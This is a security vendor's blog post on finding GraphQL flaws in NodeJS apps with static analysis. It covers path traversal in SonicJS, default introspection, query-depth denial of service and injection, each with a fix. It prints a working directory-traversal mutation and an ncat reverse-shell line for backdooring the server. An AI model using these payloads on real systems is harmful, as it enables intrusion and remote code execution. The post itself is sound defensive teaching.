Improving GraphQL security with static analysis and Snyk Code
12 de abril de 2022
0 minutos de leituraGraphQL is an API query language developed by Facebook in 2015. Since then, its unique features and capabilities have made it a viable alternative to REST APIs. When it comes to security, GraphQL servers can house several types of misconfigurations that result in data compromise, access control issues, and other high risk vulnerabilities.
While security issues with GraphQL are widely known, there’s little information on finding them outside of using dynamic analysis. In this post, we’ll discuss how common GraphQL vulnerabilities present in a codebase, as well as and how to find them using static analysis tools and GraphQL Security. Since many widely used GraphQL frameworks exist within npm, we’ll focus on examples from the NodeJS ecosystem.
Taint analysis through GraphQL frameworks
SQL injection and deserialization vulnerabilities have been reported in numerous studies on GraphQL endpoints. An example of this can be seen in HackerOne’s report where a SQL Injection is present through a GraphQL parameter.
Like REST API parameters, GraphQL arguments are a source of taint where user input can be introduced to an application. Static analysis tools should be able to identify and model these parameters accurately in an application.
In GraphQL frameworks, resolvers map between schema, function, and arguments before being passed through to resolver functions. The following example depicts the args argument as an object that contains all GraphQL arguments that were provided for the field by the GraphQL operation.
1const resolvers = {
2 Query: {
3 user(parent, args, context, info) {
4 return runFunction(args.parameter);
5 }
6 }
7}
These args
expressions can be traced by the Snyk Code engine, which leverages points-to analysis and typestate analysis to accurately record program execution. The Snyk Code analysis of SonicJS, a modern open source NodeJs based content management system, is a helpful example.
SonicJS helps users conduct CMS operations through their GraphQL endpoint. One such operation is the fileUpdate
mutation operation which allows a user to update their files.
1 fileUpdate: {
2 type: FileType,
3 args: {
4 filePath: { type: new GraphQLNonNull(GraphQLString) },
5 fileContent: { type: new GraphQLNonNull(GraphQLString) },
6 sessionID: { type: GraphQLString },
7 },
8 resolve(parent, args) {
9 fileService.writeFile(args.filePath, args.fileContent);
10 let fileData = new FileData(args.filePath, args.fileContent);
11 return fileData;
12 },
13
This mutation query takes user-provided input calledargs.filePath
and args.fileContent
and this is then provided to the writeFile
function of the fileService
object. The function implementation of the fileService
object exists in server/services/file.service.js
and can be seen below.
1 writeFile: async function (filePath, fileContent) {
2 Let fullPath = path.join(this.getRootAppPath(), filePath);
3 Await fsPromise.writeFile(fullPath, fileContent);
4 },
This function takes both GraphQL arguments and uses the fs.writeFile
function to update the file on the provided path. However, this function can be exploited to traverse the given application directory and create a new file anywhere in the target system, like in the following GraphQL query:
1mutation {
2
3fileUpdate(
4filePath: "../../../../../../../../../../../../tmp/test.txt",
5fileContent: "exploitable",
6sessionID:"nosessioncheckinplace"
7){
8filePath
9fileContent
10}
11}
This vulnerability makes it possible to execute code on the system by overwriting one of the SonicJS service files with malicious JavaScript that was loaded by the SonicJS system during startup or reboot. For example, the following statement uses the child_process
function to backdoor the application and connect to an attacker controlled IP address by leveraging the ncat
program that is installed on the target system.
1require("child_process").exec('ncat 127.0.0.1 4445 -e /bin/bash')
The Snyk Code report for this vulnerability can be seen below:
SonicJS can prevent this vulnerability in the future by requiring authentication and authorization for the query, and validating the provided file path to ensure special characters such as ../
are not allowed.
GraphQL introspection
GraphQL’s introspection system can be used to discover what queries are supported by a GraphQL server. This includes types, fields, queries, mutations, and other information related to a GraphQL schema.
While this is a feature and is not a direct security issue, introspection can often be used to find hidden functionality that an attacker can abuse.
Within the NodeJS ecosystem, JavaScript frameworks often enable introspection by default, which may not be clear to developers. So, when using the GraphQL framework without specifying settings, like in express-graphql
below, introspection is enabled automatically.
1import express from 'express'
2import graphqlHTTP from 'express-graphql'
3import Myschema from './schema'
4
5const app = express();
6app.use('/graphql', graphqlHTTP((req, res) => ({
7 Schema: MySchema,
8})))
An example of this report within Snyk code can be seen below:
Since there might be legitimate cases where introspection is needed for a production application, this issue was reported as low risk.
To disable introspection within express-graphql
, use the NoSchemaIntrospectionCustomRule
provided by the graphql-js
.
1import express from 'express'
2import graphqlHTTP from 'express-graphql'
3import Myschema from './schema'
4import { specifiedRules, NoSchemaIntrospectionCustomRule } from 'graphql';
5
6const app = express();
7app.use('/graphql', graphqlHTTP((req, res) => ({
8 Schema: MySchema,
9validationRules: [...specifiedRules, NoSchemaIntrospectionCustomRule],
10})))
While having introspection in production can lead to security issues, it is often needed for development. The creators of ApolloServer tackled this issue by enabling or disabling introspection based on the production status.
1// introspection is only enabled based on NODE_ENV
2const apolloServer = new ApolloServer({
3 schema,
4 introspection: process.env.NODE_ENV !== 'production' && CUSTOM_ENV !== 'production',
5});
6export default apolloServer;
If using another GraphQL framework, a third-party library such as the graphql-disable-introspection package can be used to validate rules within your GraphQL endpoint.
GraphQL denial of service
Each query has a depth of nested objects that can be processed by a GraphQL endpoint. Most GraphQL frameworks do not have a default depth limit. Queries with unlimited depths can leave the framework vulnerable to denial of service (DoS) attacks, like in the following example:
1{
2 one {
3 two {
4 one {
5 two {
6 one…
7 }
8 }
9 }
10 }
11}
However, for this issue to be exploitable, the GraphQL server must have a recursive pattern of field types where a two-way relationship exists. An example of this report within Snyk code can be seen below:
This DoS vulnerability was found within mevn-cli. To fix this, the graphql-depth-limitpackage available through npm can be used as follows:
1import depthLimit from 'graphql-depth-limit'
2import express from 'express'
3import graphqlHTTP from 'express-graphql'
4import schema from './schema'
5
6const app = express()
7app.use('/graphql', graphqlHTTP((req, res) => ({
8 schema,
9 validationRules: [ depthLimit(10) ]
10})))
Review this mevn-cli repository commit to see an example of this fix.
Another way to prevent DoS attacks is to check request body length within your GraphQL endpoint. Large queries can be an indication of DoS attacks, so monitoring query length is a simple and effective verification.
1// query length is checked here to prevent DoS
2 app.use('/graphql', graphqlExpress((req) => {
3 const query = req.query.query || req.body.query;
4 if (query && query.length > 2000) {
5 // Normal GraphQL queries are not this long
6 // Probably indicates someone trying to send an overly expensive query
7 throw new Error('Query too large.');
8 }
9
10 return {
11 schema,
12 context: Object.assign({}, context),
13 debug: true,
14 };
15 }));
GraphQL injection
By allowing an attacker to interfere with an application query, a GraphQL injection gives malicious parties access to data they normally can’t retrieve — including user data or any other data the application can access. In many cases, this data can be modified or deleted, causing persistent changes to the application's content and behavior.
@octokit/core is a minimalistic library built to utilize GitHub's REST API and GraphQL API to create GraphQL queries. In cases where user input is used to dynamically create a GraphQL, an attacker might be able to modify this query to access confidential information. An example of this issue can be seen below:
1app.get('/', async function(req, res) {
2
3 let user = req.query.page;
4
5 const { articles } = await octokit.graphql(
6 `
7 query lastIssues($owner: String!, $repo: String!) {
8 repository(owner: ${input}, name: $repo) {
9 issues(last: $num) {
10 edges {
11 node {
12 title
13 }
14 }
15 }
16 }
17 }
18 `,
19 {
20 owner: "octokit",
21 repo: "graphql.js",
22 }
23 );
An example of this report within Snyk code can be seen below.
To prevent GraphQL injection, avoid passing user-entered parameters directly to a GraphQL query. If direct user input is required for performance, validate the input against a very strict allowlist of permitted characters — avoiding special characters such as ?
&
/
<
>
;
-
and (space) — and use a vendor-supplied escaping routine if possible.
Conclusion
Snyk Code currently supports the following GraphQL frameworks through a variety of taint analysis and semantic rules:
express-graphql
koa-graphql
mercurius
apollo-server
graphql-js
We hope to add further support for GraphQL vulnerabilities such as insecure object, direct reference, and access control issues. While GraphQL is currently supported for JavaScript, we aim to add more languages and code quality rules to address issues such as batching attacks and query complexity.
Primeiros passos com Capture the Flag
Saiba como resolver desafios de Capture the Flag assistindo ao nosso workshop virtual de conceitos básicos sob demanda.